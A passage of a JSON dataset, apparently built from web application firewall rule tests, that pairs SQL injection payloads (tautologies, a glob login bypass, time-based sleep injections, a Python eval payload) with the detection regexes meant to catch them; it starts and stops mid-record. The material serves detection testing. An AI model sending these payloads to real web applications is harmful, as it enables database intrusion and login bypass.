"attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942130", "test_description": "SQL Injection Attack: SQL Tautology" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=11=1" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b[\\s\\x0b\\\"'-\\)`]*?(?:=|<=>|(?:sounds[\\s\\x0b]+)?like|glob|r(?:like|egexp))[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942130", "test_description": "SQL Injection Attack: SQL Tautology" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=1=11" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b[\\s\\x0b\\\"'-\\)`]*?(?:=|<=>|(?:sounds[\\s\\x0b]+)?like|glob|r(?:like|egexp))[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942130", "test_description": "SQL Injection Attack: SQL Tautology" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=11!=11" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b[\\s\\x0b\\\"'-\\)`]*?(?:=|<=>|(?:sounds[\\s\\x0b]+)?like|glob|r(?:like|egexp))[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942130", "test_description": "SQL Injection Attack: SQL Tautology" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=b,1=1" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b[\\s\\x0b\\\"'-\\)`]*?(?:=|<=>|(?:sounds[\\s\\x0b]+)?like|glob|r(?:like|egexp))[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942130", "test_description": "SQL Injection Attack: SQL Tautology" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a=42%20like%2042" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b[\\s\\x0b\\\"'-\\)`]*?(?:=|<=>|(?:sounds[\\s\\x0b]+)?like|glob|r(?:like|egexp))[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942130", "test_description": "SQL Injection Attack: SQL Tautology - like" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=This%20is%20like%20no%20other" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b[\\s\\x0b\\\"'-\\)`]*?(?:=|<=>|(?:sounds[\\s\\x0b]+)?like|glob|r(?:like|egexp))[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942130", "test_description": "SQL Injection Attack: SQL Tautology" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=42<=>42" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b[\\s\\x0b\\\"'-\\)`]*?(?:=|<=>|(?:sounds[\\s\\x0b]+)?like|glob|r(?:like|egexp))[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942130", "test_description": "SQL Injection Attack: SQL Tautology using MySQL NULL-safe operator <=>" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "user=admin%40juice-sh.op'%20and%20password%20glob%20password;" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b[\\s\\x0b\\\"'-\\)`]*?(?:=|<=>|(?:sounds[\\s\\x0b]+)?like|glob|r(?:like|egexp))[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942130", "test_description": "SQL Injection Attack: SQL Tautology using glob" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=11!=1" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b[\\s\\x0b\\\"'-\\)`]*?(?:![<->]|<[=>]?|>=?|\\^|is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|r(?:like|egexp)))[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942131", "test_description": "SQL Injection Attack: SQL Tautology" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=1!=11" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b[\\s\\x0b\\\"'-\\)`]*?(?:![<->]|<[=>]?|>=?|\\^|is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|r(?:like|egexp)))[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942131", "test_description": "SQL Injection Attack: SQL Tautology" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=11!=11" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b[\\s\\x0b\\\"'-\\)`]*?(?:![<->]|<[=>]?|>=?|\\^|is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|r(?:like|egexp)))[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942131", "test_description": "SQL Injection Attack: SQL Tautology" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=1%20is%20not%202" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b[\\s\\x0b\\\"'-\\)`]*?(?:![<->]|<[=>]?|>=?|\\^|is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|r(?:like|egexp)))[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942131", "test_description": "SQL Injection Attack: SQL Tautology" } }, { "input": { "malicious_payload": [ { "location": "uri_params", "value": "a=1%20is%20not%201" } ], "attack_context": { "method": "GET", "location": [ "uri_params" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b[\\s\\x0b\\\"'-\\)`]*?(?:![<->]|<[=>]?|>=?|\\^|is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|r(?:like|egexp)))[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942131", "test_description": "SQL Injection Attack: SQL Tautology negative" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a='1' not regexp '2'" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b[\\s\\x0b\\\"'-\\)`]*?(?:![<->]|<[=>]?|>=?|\\^|is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|r(?:like|egexp)))[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942131", "test_description": "SQL Injection Attack: SQL Tautology" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "a='1' not regexp '1'" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b[\\s\\x0b\\\"'-\\)`]*?(?:![<->]|<[=>]?|>=?|\\^|is[\\s\\x0b]+not|not[\\s\\x0b]+(?:like|r(?:like|egexp)))[\\s\\x0b\\\"'-\\)`]*?\\b([0-9A-Z_a-z]+)\\b", "negated": false } }, "transformations": [ "none", "urlDecodeUni", "replaceComments" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942131", "test_description": "SQL Injection Attack: SQL Tautology" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=SKLJDRTZWS89E450W49NQB0W45BN\"=sleep(12)=\"" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:json(?:_[0-9A-Z_a-z]+)?|a(?:bs|(?:cos|sin)h?|tan[2h]?|vg)|c(?:eil(?:ing)?|h(?:a(?:nges|r(?:set)?)|r)|o(?:alesce|sh?|unt)|ast)|d(?:e(?:grees|fault)|a(?:te|y))|exp|f(?:loor(?:avg)?|ormat|ield)|g(?:lob|roup_concat)|h(?:ex|our)|i(?:f(?:null)?|if|n(?:str)?)|l(?:ast(?:_insert_rowid)?|ength|ike(?:l(?:ihood|y))?|n|o(?:ad_extension|g(?:10|2)?|wer(?:pi)?|cal)|trim)|m(?:ax|in(?:ute)?|o(?:d|nth))|n(?:ullif|ow)|p(?:i|ow(?:er)?|rintf|assword)|quote|r(?:a(?:dians|ndom(?:blob)?)|e(?:p(?:lace|eat)|verse)|ound|trim|ight)|s(?:i(?:gn|nh?)|oundex|q(?:lite_(?:compileoption_(?:get|used)|offset|source_id|version)|rt)|u(?:bstr(?:ing)?|m)|econd|leep)|t(?:anh?|otal(?:_changes)?|r(?:im|unc)|ypeof|ime)|u(?:n(?:icode|likely)|(?:pp|s)er)|zeroblob|bin|v(?:alues|ersion)|week|year)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942150", "test_description": "Simple SQL injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=1' and sleep(9) #" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:json(?:_[0-9A-Z_a-z]+)?|a(?:bs|(?:cos|sin)h?|tan[2h]?|vg)|c(?:eil(?:ing)?|h(?:a(?:nges|r(?:set)?)|r)|o(?:alesce|sh?|unt)|ast)|d(?:e(?:grees|fault)|a(?:te|y))|exp|f(?:loor(?:avg)?|ormat|ield)|g(?:lob|roup_concat)|h(?:ex|our)|i(?:f(?:null)?|if|n(?:str)?)|l(?:ast(?:_insert_rowid)?|ength|ike(?:l(?:ihood|y))?|n|o(?:ad_extension|g(?:10|2)?|wer(?:pi)?|cal)|trim)|m(?:ax|in(?:ute)?|o(?:d|nth))|n(?:ullif|ow)|p(?:i|ow(?:er)?|rintf|assword)|quote|r(?:a(?:dians|ndom(?:blob)?)|e(?:p(?:lace|eat)|verse)|ound|trim|ight)|s(?:i(?:gn|nh?)|oundex|q(?:lite_(?:compileoption_(?:get|used)|offset|source_id|version)|rt)|u(?:bstr(?:ing)?|m)|econd|leep)|t(?:anh?|otal(?:_changes)?|r(?:im|unc)|ypeof|ime)|u(?:n(?:icode|likely)|(?:pp|s)er)|zeroblob|bin|v(?:alues|ersion)|week|year)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942150", "test_description": "Simple SQL injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=1(select*from(select(sleep(5)))d)" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:json(?:_[0-9A-Z_a-z]+)?|a(?:bs|(?:cos|sin)h?|tan[2h]?|vg)|c(?:eil(?:ing)?|h(?:a(?:nges|r(?:set)?)|r)|o(?:alesce|sh?|unt)|ast)|d(?:e(?:grees|fault)|a(?:te|y))|exp|f(?:loor(?:avg)?|ormat|ield)|g(?:lob|roup_concat)|h(?:ex|our)|i(?:f(?:null)?|if|n(?:str)?)|l(?:ast(?:_insert_rowid)?|ength|ike(?:l(?:ihood|y))?|n|o(?:ad_extension|g(?:10|2)?|wer(?:pi)?|cal)|trim)|m(?:ax|in(?:ute)?|o(?:d|nth))|n(?:ullif|ow)|p(?:i|ow(?:er)?|rintf|assword)|quote|r(?:a(?:dians|ndom(?:blob)?)|e(?:p(?:lace|eat)|verse)|ound|trim|ight)|s(?:i(?:gn|nh?)|oundex|q(?:lite_(?:compileoption_(?:get|used)|offset|source_id|version)|rt)|u(?:bstr(?:ing)?|m)|econd|leep)|t(?:anh?|otal(?:_changes)?|r(?:im|unc)|ypeof|ime)|u(?:n(?:icode|likely)|(?:pp|s)er)|zeroblob|bin|v(?:alues|ersion)|week|year)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942150", "test_description": "Simple SQL injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=unittests@coreruleset.org' (function(){if(typeof foo===\"undefined\"){var a=new Date();do{var b=new Date();}while(b-a<20000);foo=1;}}()) '" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:json(?:_[0-9A-Z_a-z]+)?|a(?:bs|(?:cos|sin)h?|tan[2h]?|vg)|c(?:eil(?:ing)?|h(?:a(?:nges|r(?:set)?)|r)|o(?:alesce|sh?|unt)|ast)|d(?:e(?:grees|fault)|a(?:te|y))|exp|f(?:loor(?:avg)?|ormat|ield)|g(?:lob|roup_concat)|h(?:ex|our)|i(?:f(?:null)?|if|n(?:str)?)|l(?:ast(?:_insert_rowid)?|ength|ike(?:l(?:ihood|y))?|n|o(?:ad_extension|g(?:10|2)?|wer(?:pi)?|cal)|trim)|m(?:ax|in(?:ute)?|o(?:d|nth))|n(?:ullif|ow)|p(?:i|ow(?:er)?|rintf|assword)|quote|r(?:a(?:dians|ndom(?:blob)?)|e(?:p(?:lace|eat)|verse)|ound|trim|ight)|s(?:i(?:gn|nh?)|oundex|q(?:lite_(?:compileoption_(?:get|used)|offset|source_id|version)|rt)|u(?:bstr(?:ing)?|m)|econd|leep)|t(?:anh?|otal(?:_changes)?|r(?:im|unc)|ypeof|ime)|u(?:n(?:icode|likely)|(?:pp|s)er)|zeroblob|bin|v(?:alues|ersion)|week|year)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942150", "test_description": "Advanced SQL injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=test')and (select*from(select(sleep(10)))d)--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:json(?:_[0-9A-Z_a-z]+)?|a(?:bs|(?:cos|sin)h?|tan[2h]?|vg)|c(?:eil(?:ing)?|h(?:a(?:nges|r(?:set)?)|r)|o(?:alesce|sh?|unt)|ast)|d(?:e(?:grees|fault)|a(?:te|y))|exp|f(?:loor(?:avg)?|ormat|ield)|g(?:lob|roup_concat)|h(?:ex|our)|i(?:f(?:null)?|if|n(?:str)?)|l(?:ast(?:_insert_rowid)?|ength|ike(?:l(?:ihood|y))?|n|o(?:ad_extension|g(?:10|2)?|wer(?:pi)?|cal)|trim)|m(?:ax|in(?:ute)?|o(?:d|nth))|n(?:ullif|ow)|p(?:i|ow(?:er)?|rintf|assword)|quote|r(?:a(?:dians|ndom(?:blob)?)|e(?:p(?:lace|eat)|verse)|ound|trim|ight)|s(?:i(?:gn|nh?)|oundex|q(?:lite_(?:compileoption_(?:get|used)|offset|source_id|version)|rt)|u(?:bstr(?:ing)?|m)|econd|leep)|t(?:anh?|otal(?:_changes)?|r(?:im|unc)|ypeof|ime)|u(?:n(?:icode|likely)|(?:pp|s)er)|zeroblob|bin|v(?:alues|ersion)|week|year)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942150", "test_description": "" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=config.ini' and sleep(91) #" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:json(?:_[0-9A-Z_a-z]+)?|a(?:bs|(?:cos|sin)h?|tan[2h]?|vg)|c(?:eil(?:ing)?|h(?:a(?:nges|r(?:set)?)|r)|o(?:alesce|sh?|unt)|ast)|d(?:e(?:grees|fault)|a(?:te|y))|exp|f(?:loor(?:avg)?|ormat|ield)|g(?:lob|roup_concat)|h(?:ex|our)|i(?:f(?:null)?|if|n(?:str)?)|l(?:ast(?:_insert_rowid)?|ength|ike(?:l(?:ihood|y))?|n|o(?:ad_extension|g(?:10|2)?|wer(?:pi)?|cal)|trim)|m(?:ax|in(?:ute)?|o(?:d|nth))|n(?:ullif|ow)|p(?:i|ow(?:er)?|rintf|assword)|quote|r(?:a(?:dians|ndom(?:blob)?)|e(?:p(?:lace|eat)|verse)|ound|trim|ight)|s(?:i(?:gn|nh?)|oundex|q(?:lite_(?:compileoption_(?:get|used)|offset|source_id|version)|rt)|u(?:bstr(?:ing)?|m)|econd|leep)|t(?:anh?|otal(?:_changes)?|r(?:im|unc)|ypeof|ime)|u(?:n(?:icode|likely)|(?:pp|s)er)|zeroblob|bin|v(?:alues|ersion)|week|year)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942150", "test_description": "Simple SQL injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=None')and (select*from(select(sleep(10)))a)--" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:json(?:_[0-9A-Z_a-z]+)?|a(?:bs|(?:cos|sin)h?|tan[2h]?|vg)|c(?:eil(?:ing)?|h(?:a(?:nges|r(?:set)?)|r)|o(?:alesce|sh?|unt)|ast)|d(?:e(?:grees|fault)|a(?:te|y))|exp|f(?:loor(?:avg)?|ormat|ield)|g(?:lob|roup_concat)|h(?:ex|our)|i(?:f(?:null)?|if|n(?:str)?)|l(?:ast(?:_insert_rowid)?|ength|ike(?:l(?:ihood|y))?|n|o(?:ad_extension|g(?:10|2)?|wer(?:pi)?|cal)|trim)|m(?:ax|in(?:ute)?|o(?:d|nth))|n(?:ullif|ow)|p(?:i|ow(?:er)?|rintf|assword)|quote|r(?:a(?:dians|ndom(?:blob)?)|e(?:p(?:lace|eat)|verse)|ound|trim|ight)|s(?:i(?:gn|nh?)|oundex|q(?:lite_(?:compileoption_(?:get|used)|offset|source_id|version)|rt)|u(?:bstr(?:ing)?|m)|econd|leep)|t(?:anh?|otal(?:_changes)?|r(?:im|unc)|ypeof|ime)|u(?:n(?:icode|likely)|(?:pp|s)er)|zeroblob|bin|v(?:alues|ersion)|week|year)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942150", "test_description": "Simple SQL injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=eval(compile('for x in range(1):\\n import time\\n time.sleep(12)','a','single'))" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:json(?:_[0-9A-Z_a-z]+)?|a(?:bs|(?:cos|sin)h?|tan[2h]?|vg)|c(?:eil(?:ing)?|h(?:a(?:nges|r(?:set)?)|r)|o(?:alesce|sh?|unt)|ast)|d(?:e(?:grees|fault)|a(?:te|y))|exp|f(?:loor(?:avg)?|ormat|ield)|g(?:lob|roup_concat)|h(?:ex|our)|i(?:f(?:null)?|if|n(?:str)?)|l(?:ast(?:_insert_rowid)?|ength|ike(?:l(?:ihood|y))?|n|o(?:ad_extension|g(?:10|2)?|wer(?:pi)?|cal)|trim)|m(?:ax|in(?:ute)?|o(?:d|nth))|n(?:ullif|ow)|p(?:i|ow(?:er)?|rintf|assword)|quote|r(?:a(?:dians|ndom(?:blob)?)|e(?:p(?:lace|eat)|verse)|ound|trim|ight)|s(?:i(?:gn|nh?)|oundex|q(?:lite_(?:compileoption_(?:get|used)|offset|source_id|version)|rt)|u(?:bstr(?:ing)?|m)|econd|leep)|t(?:anh?|otal(?:_changes)?|r(?:im|unc)|ypeof|ime)|u(?:n(?:icode|likely)|(?:pp|s)er)|zeroblob|bin|v(?:alues|ersion)|week|year)[^0-9A-Z_a-z]*\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942150", "test_description": "Advanced SQL injection" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "var=file:/init.ini'.sleep(12).'" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": 